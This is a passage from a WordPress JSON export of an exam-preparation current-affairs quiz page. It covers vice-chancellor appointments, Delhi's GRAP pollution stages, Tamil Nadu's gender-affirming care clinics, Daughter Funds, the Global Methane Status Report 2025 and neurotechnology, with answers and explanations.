{"id":2750,"date":"2025-11-23T04:42:26","date_gmt":"2025-11-23T04:42:26","guid":{"rendered":"https:\/\/iasquest.com\/?p=2750"},"modified":"2026-02-11T18:47:43","modified_gmt":"2026-02-11T18:47:43","slug":"daily-current-affairs-18-11-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-18-11-2025\/","title":{"rendered":"DAILY CURRENT AFFAIRS \u2013 18.11.2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. With reference to the Governor\u2019s role in state universities, which among the following statements is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">1. The Governor\u2019s role as Chancellor of State universities is derived from the Constitution, not from State university statutes.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">2. The constitution of India under article 163 empowers the Governor for the appointment of Vice-Chancellors (VCs) in State universities.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\"><strong>Select the answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\"><strong>Answer: (d) Neither 1 nor 2<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>In NEWS:<\/strong> SC to hear T.N.\u2019s plea on State\u2019s power to appoint V-Cs<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>The appointment of Vice-Chancellors (VCs) in State universities:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>Constitutional Position of the Governor<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-14\">\n<li>The Constitution <strong>does not expressly<\/strong> assign the Governor any role in university administration; this authority arises from State university statutes.<\/li>\n\n\n\n<li><strong>The Governor\u2019s role as Chancellor is statutory, not constitutional<\/strong>, and distinct from Articles 153\u2013161 functions.<ul><li>Article 163 deals with the <strong>Council of Ministers\u2019 advice and the limited discretionary powers<\/strong> of the Governor.<\/li><\/ul><ul><li>It <strong>does not<\/strong> mention universities or the appointment of Vice-Chancellors.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>VC appointment powers come from <strong>State University Acts<\/strong>, not Article 163. <strong>Hence both statements 1 and 2 are incorrect.<\/strong><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Article 163 discretion does not automatically extend to university matters<\/strong>, creating interpretive ambiguity.<\/li>\n\n\n\n<li>The dual identity of the Governor<strong> &#8211; as constitutional head and statutory Chancellor &#8211; <\/strong>creates continuing institutional friction with the State government.<\/li>\n\n\n\n<li>The Governor\u2019s actions in university affairs often raise concerns regarding <strong>accountability, neutrality, and adherence to ministerial advice<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2014)<\/strong> <br><br><strong>Q. Which of the following are the discretionary powers given to the Governor of a State?<\/strong> <br><br>1. Sending a report to the President of India for imposing the President\u2019s rule <br>2. Appointing the Ministers <br>3. Reserving certain bills passed by the State Legislature for consideration of the President of India <br>4. Making the rules to conduct the business of the State Government <br><br><strong>Select the correct answer using the code given below.<\/strong> <br><br>(a) 1 and 2 only <br><strong>(b) 1 and 3 only<\/strong> <br>(c) 2, 3 and 4 only <br>(d) 1, 2, 3 and 4<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-15 wp-block-paragraph\" style=\"color:#2307eb\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/sc-to-hear-tns-plea-onpower-to-appoint-v-cs\/article70291743.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/sc-to-hear-tns-plea-onpower-to-appoint-v-cs\/article70291743.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-16 wp-block-paragraph\" style=\"color:#2307eb\"><a href=\"https:\/\/www.livelaw.in\/top-stories\/supreme-court-tamil-nadu-transfer-petition-madras-hc-pil-governor-power-to-appoint-vice-chancellor-310179\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.livelaw.in\/top-stories\/supreme-court-tamil-nadu-transfer-petition-madras-hc-pil-governor-power-to-appoint-vice-chancellor-310179<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\"><strong>2. Consider the following statements.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\">1. The Graded Response Action Plan works only as an emergency measure.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\">2. The plan is enforced by the Commission for Air Quality Management (CAQM).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\">3. Stage IV of GRAP is taken when the air pollution rises to the \u2018Severe +\u2019 category, which is more than 450.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\"><strong>How many of the statements given above are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\">(c) All three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\"><strong>Answer: (c) All three<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\"><strong>In NEWS: <\/strong>\u2018Perennial\u2019 GRAP is not the solution for Delhi\u2019s air pollution: Supreme Court<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\"><strong>Graded Response Action Plan:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-30\">\n<li>GRAP is a set of emergency measures that kick in to prevent further deterioration of air quality once it reaches a certain threshold in the Delhi-NCR region.<\/li>\n\n\n\n<li>It was notified by the Ministry of Environment, Forest and Climate Change (MoEFCC) in 2017 following the directions of the Supreme Court in response to rising pollution in Delhi.<\/li>\n\n\n\n<li>It is enforced by the Commission for Air Quality Management (CAQM). <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>GRAP works only as an emergency measure. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li><strong>GRAP is incremental in nature and thus, when the air quality dips from \u2018poor\u2019 to \u2018very poor,\u2019 measures listed under both sections must be followed.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\"><strong>Stage I \u2013 \u201cPoor\u201d AQI (201\u2013300)<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\"><strong>Actions include:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-33\">\n<li>Strict enforcement of dust control at construction sites<\/li>\n\n\n\n<li>Increased mechanized road sweeping<\/li>\n\n\n\n<li>Water sprinkling to reduce dust<\/li>\n\n\n\n<li>Ban on garbage burning<\/li>\n\n\n\n<li>Promotion of public transport<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\"><strong>Stage II \u2013 \u201cVery Poor\u201d AQI (301\u2013400)<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\"><strong>Actions include:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-36\">\n<li>Ban on use of diesel generators (non-essential)<\/li>\n\n\n\n<li>Enhanced parking fees to discourage private vehicle use<\/li>\n\n\n\n<li>Boost public transport frequency<\/li>\n\n\n\n<li>Ban on coal and firewood in eateries<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\"><strong>Stage III \u2013 \u201cSevere\u201d AQI (401\u2013450)<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\"><strong>Actions include:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-39\">\n<li>Ban on construction and demolition activities (except essential)<\/li>\n\n\n\n<li>Restrictions on stone crushers, mining, hot-mix plants<\/li>\n\n\n\n<li>Shutdown of polluting industrial units<\/li>\n\n\n\n<li>Ban on trucks (non-essential) entering the city<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\"><strong>Stage IV \u2013 \u201cSevere+ \/ Emergency\u201d AQI (450+) Hence statement 3 is correct<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\"><strong>Actions include:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-42\">\n<li>Ban on all construction activities (including essential, except defense\/health)<\/li>\n\n\n\n<li>Ban on entry of all trucks except essential ones<\/li>\n\n\n\n<li>Closure of schools and colleges (as decided by authorities)<\/li>\n\n\n\n<li>Work-from-home advisories<\/li>\n\n\n\n<li>Closure of industries except those crucial for essential services<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2022)<\/strong> <br><strong>Q. In the context of WHO Air Quality Guidelines, consider the following statements:<\/strong> <br><br>1. The 24-hour mean of PM2.5 should not exceed 15 \u00b5g\/m\u00b3 and annual mean of PM2.5 should not exceed 5 \u00b5g\/m3. <br>2. In a year, the highest levels of ozone pollution occur during the periods of inclement weather. <br>3. PM10 can penetrate the lung barrier and enter the bloodstream. <br>4. Excessive ozone in the air can trigger asthma. <br><br><strong>Which of the statements given above are correct?<\/strong> <br><br>(a) 1, 3 and 4 <br><strong>(b) 1 and 4 only<\/strong> <br>(c) 2, 3 and 4 <br>(d) 1 and 2 only<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-43 wp-block-paragraph\" style=\"color:#2307eb\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/perennial-grap-is-not-the-solution-for-delhis-air-pollution-supreme-court\/article70290579.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/perennial-grap-is-not-the-solution-for-delhis-air-pollution-supreme-court\/article70290579.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\"><strong>3. Gender Guidance Clinics (GGCs), recently in the news, are primarily aimed at:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\">(a) Providing mental health counselling for adolescents<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\">(b) Offering multidisciplinary, gender-affirming healthcare under one roof<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\">(c) Conducting STI surveillance and treatment exclusively<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\">(d) Implementing income-linked health insurance portability<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\"><strong>Answer: (b) Offering multidisciplinary, gender-affirming healthcare under one roof<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\"><strong>In NEWS: <\/strong>Can Tamil Nadu\u2019s reforms change transgender healthcare?<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\"><strong>Gender Guidance Clinics (GGCs):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-53\">\n<li><strong>Established by<\/strong> the <em>National Health Mission (Tamil Nadu)<\/em> in <strong>2018<\/strong>.<\/li>\n\n\n\n<li>Created to provide <strong>multidisciplinary, gender-affirming healthcare<\/strong> for transgender persons <strong>under one roof<\/strong>. <strong>Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>Tamil Nadu is the <strong>first State<\/strong> to institutionalise such clinics at the district level. By <strong>2025<\/strong>, GGCs are functional in <strong>eight districts<\/strong> of Tamil Nadu.<\/li>\n\n\n\n<li>Offer <strong>free gender-affirming surgeries<\/strong>, <strong>hormone therapy<\/strong>, counselling, psychiatry, endocrinology, and follow-up care.<\/li>\n\n\n\n<li>Between <strong>April 2019 \u2013 March 2024<\/strong>, <strong>7,644 transgender individuals<\/strong> accessed GGC services.<\/li>\n\n\n\n<li>Services of GGCs are integrated into the <strong>Chief Minister\u2019s Comprehensive Health Insurance Scheme (CMCHIS-PMJAY)<\/strong> since <strong>2022<\/strong>.<\/li>\n\n\n\n<li>Tamil Nadu is the <strong>first South Asian government<\/strong> to include gender-affirming care in a <strong>public insurance package<\/strong>.<\/li>\n\n\n\n<li>Income ceiling of <strong>\u20b972,000<\/strong> for CMCHIS-PMJAY <strong>removed<\/strong> for transgender persons.<\/li>\n\n\n\n<li>Ration card requirement <strong>waived<\/strong> for enrolment to avoid exclusion due to stigma or family rejection.<\/li>\n\n\n\n<li>GGC model aligns with <strong>\u201cleave no one behind\u201d<\/strong> principle of SDGs and <strong>Universal Health Coverage<\/strong>.<\/li>\n\n\n\n<li>Doctors at GGCs trained on <strong>World Professional Association for Transgender Health (WPATH) Standards of Care, Version 8<\/strong>.<\/li>\n\n\n\n<li>Supported by broader legal reforms: <strong>Madras High Court judgments<\/strong>, <strong>TN Mental Health Policy (2019)<\/strong>, <strong>State Policy for Transgender Persons (2025)<\/strong>.<\/li>\n\n\n\n<li>Key challenges include: expanding primary-to-tertiary care, building provider capacity, regulating empanelled hospitals, including mental health benefits, and tackling societal stigma.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2023)<\/strong> <br><br><strong>Q. Consider the following statements in relation to Janani Suraksha Yojana :<\/strong> <br><br>1. It is a safe motherhood intervention of the State Health Departments. <br>2. Its objective is to reduce maternal and neonatal mortality among poor pregnant women.<br>3. It aims to promote institutional delivery among poor pregnant women. <br>4. Its objective includes providing public health facilities to sick infants up to one year of age. <br><br><strong>How many of the statements given above are correct?<\/strong> <br><br>(a) Only one <br><strong>(b) Only two<\/strong> <br>(c) Only three <br>(d) All four<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-54 wp-block-paragraph\" style=\"color:#2307eb\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/health\/can-tamil-nadus-reforms-change-transgender-healthcare-explained\/article70275209.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/health\/can-tamil-nadus-reforms-change-transgender-healthcare-explained\/article70275209.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\"><strong>4. Which one of the following best describes the term \u201cDaughter Fund\u201d sometimes seen in news?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\">(a) A government-owned fund that directly provides grants and subsidies to startups.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\">(b) A professionally managed Alternative Investment Fund (AIF) that receives capital from a larger Fund of Funds and invests it in startups and technology enterprises.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\">(c) A fund created by State governments to finance higher education institutions.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\">(d) A special purpose vehicle (SPV) under the Companies Act used for disinvestment of public sector units.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\"><strong>Answer: (b) A professionally managed Alternative Investment Fund (AIF) that receives capital from a larger Fund of Funds and invests it in startups and technology enterprises.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\"><strong>In NEWS:<\/strong> Electronics Development Fund &#8211; With \u20b9257.77 crore invested, the Fund has supported 128 startups nationwide<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\"><strong>Daughter Funds:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-64\">\n<li><strong>Daughter Funds are professionally managed venture or angel funds<\/strong> that receive capital from a larger \u201cParent Fund\u201d (Fund of Funds) and invest in early-stage startups or high-technology ventures. <strong>Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>They act as <strong>intermediary financial vehicles<\/strong> that channel both public and private investment into innovation-driven enterprises.<\/li>\n\n\n\n<li>This model helps <strong>de-risk public capital<\/strong> while leveraging private sector expertise and co-investment.<\/li>\n\n\n\n<li>The <strong>Parent Fund (e.g., Electronics Development Fund \u2013 EDF)<\/strong> acts as a <strong>Fund of Funds<\/strong>.<\/li>\n\n\n\n<li>It contributes to selected <strong>Daughter Funds<\/strong>, which are registered under <strong>SEBI AIF Category I or II<\/strong>.<\/li>\n\n\n\n<li><strong>Daughter Funds then invest in startups<\/strong>, MSMEs, and technology ventures aligned with national priorities.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2018)<\/strong> <br><br><strong>Q. Which one of the following best describes the term &#8220;Merchant Discount Rate&#8221; sometimes seen in news?<\/strong> <br><br>(a) The incentive given by a bank to a merchant for accepting payments through debit cards pertaining to that bank. <br>(b) The amount paid back by banks to their customers when they use debit cards for financial transactions for purchaing goods or services. <br><strong>(c) The charge to a merchant by a bank for accepting payments from his customers through the bank&#8217;s debit cards.<\/strong> <br>(d) The incentive given by the Government to merchants for promoting digital payments by their customers through Point of Sale (PoS) machines and debit cards.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-65 wp-block-paragraph\" style=\"color:#2307eb\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2190256\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2190256<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\"><strong>5. Consider the following statements with respect to the Global Methane Status Report (GMSR) 2025:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\">I. It is a new flagship analysis by the UN Environment Programme (UNEP) and the Climate and Clean Air Coalition (CCAC).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\">II. The biggest sources of methane is agriculture, especially from livestock, manure, rice cultivation and waste.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\">III. The energy sector holds nearly three fourths of the cost-effective methane reduction potential.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\"><strong>Which of the statements given above are correct?&nbsp;&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\">(a) I and Il only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\">(b) II and III only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\">(c) I and III only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\">(d) I, II and III<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\"><strong>Answer: (d) I, II and III<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\"><strong>In NEWS: <\/strong>Global Methane Status Report warns of rising emissions but charts path to 2030 progress<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\"><strong>The Global Methane Status Report (GMSR) 2025:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-79\">\n<li>The Global Methane Status Report (GMSR) 2025, by the UN Environment Programme (UNEP) and the Climate and Clean Air Coalition (CCAC), shows that methane emissions are still increasing. <strong>Hence statement I is correct.<\/strong><\/li>\n\n\n\n<li>The biggest sources of methane are agriculture (about 42%) \u2014 from livestock, manure, rice cultivation \u2014 and waste. <strong>Hence statement II is correct.<\/strong><\/li>\n\n\n\n<li>As of June 2025, 65% of countries under the Paris Agreement have included methane-specific measures in their NDCs (Nationally Determined Contributions).<\/li>\n\n\n\n<li>If all the national Methane Action Plans (MAPs) are fully implemented, global methane emissions could peak this decade and decline by 8% below 2020 levels by 2030.<\/li>\n\n\n\n<li>But even 8% is not enough to meet the Global Methane Pledge (GMP) goal of a 30% cut by 2030.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\"><strong>Where reductions can happen fastest<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\"><strong>Energy Sector<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-82\">\n<li>Holds the majority of cost-effective methane reduction potential. More than 72% of the total methane reduction potential (by 2030) lies here. <strong>Hence statement III is correct.<\/strong><\/li>\n\n\n\n<li>Key actions: fixing leaks, reducing venting\/flaring, modernizing pipelines, and capturing gas from coal\/oil\/gas operations.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\"><strong>Waste Sector<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-84\">\n<li>Emissions are expected to grow without new interventions.<\/li>\n\n\n\n<li>Solutions: landfill gas capture, composting, anaerobic digestion, and waste segregation.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\"><strong>Agriculture<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-86\">\n<li>Hardest sector to reform due to social and economic dependence on livestock and rice.<\/li>\n\n\n\n<li>Options include improved feed, better breeding, manure management, and rice field water management.<\/li>\n\n\n\n<li>Adoption remains slow worldwide.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\"><strong>Major gaps in data and finance<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-88\">\n<li>Methane monitoring and reporting remain inconsistent, especially in fossil fuel sectors.<\/li>\n\n\n\n<li>Clear uncertainties persist in national inventories.<\/li>\n\n\n\n<li>Methane mitigation needs sustained financing, estimated at over $100 billion annually by 2030.<\/li>\n\n\n\n<li>Funds must come from public sources, private investment, and climate finance institutions.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2017)<\/strong> <br><br><strong>Q. Consider the following statements:<\/strong> <br><br>1. Climate and Clean Air Coalition (CCAC) to Reduce Short Lived Climate Pollutants is a unique initiative of G20 group of countries. <br>2. The CCAC focuses on methane, black carbon and hydrofluorocarbons. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) 1 only <br><strong>(b) 2 only<\/strong> <br>(c) Both 1 and 2 <br>(d) Neither 1 nor 2<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-89 wp-block-paragraph\" style=\"color:#2307eb\"><strong>Source: <\/strong><a href=\"https:\/\/www.downtoearth.org.in\/climate-change\/global-methane-status-report-warns-of-rising-emissions-but-charts-path-to-2030-progress\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/climate-change\/global-methane-status-report-warns-of-rising-emissions-but-charts-path-to-2030-progress<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\"><strong>6.&#8221;Neurotechnology&#8221; has applications in which of the following?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\">1. Treating Parkinson\u2019s disease via deep brain stimulation<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\">2. Brain-controlled prosthetic limbs<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\">3. Sleep improvement tools<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\">4. Monitoring\u00a0 productivity at workplace<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\">5. Brain-controlled drones<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\"><strong>Select the correct answer using the code given below.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\">(a) 1, 3 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\">(b) 2, 3 and 5 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\">(c) 1 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\">(d) 1, 2, 3, 4 and 5<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\"><strong>Answer: (d) 1, 2, 3, 4 and 5<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\"><strong>In NEWS: <\/strong>What are UNESCO\u2019s new guidelines for the use of neurotechnology?<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\"><strong>Neurotechnology:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-105\">\n<li>Neurotechnology refers to <strong>tools, devices, and methods that interact directly with the brain or nervous system<\/strong> to monitor, assess, repair, or enhance neural activity.<\/li>\n\n\n\n<li>It includes technologies that:<ul><li>Read brain signals (neural recording)<\/li><\/ul><ul><li>Write or modify brain activity (neural stimulation)<\/li><\/ul><ul><li>Interface the brain with computers or machines (BCIs\/BNIs)<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Map or analyze the structure and function of the nervous system<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Its Scope includes monitoring, stimulation, BCIs, neuroprosthetics, neuroinformatics, consumer devices, defence uses.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\"><strong>Applications of Neurotechnology<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color 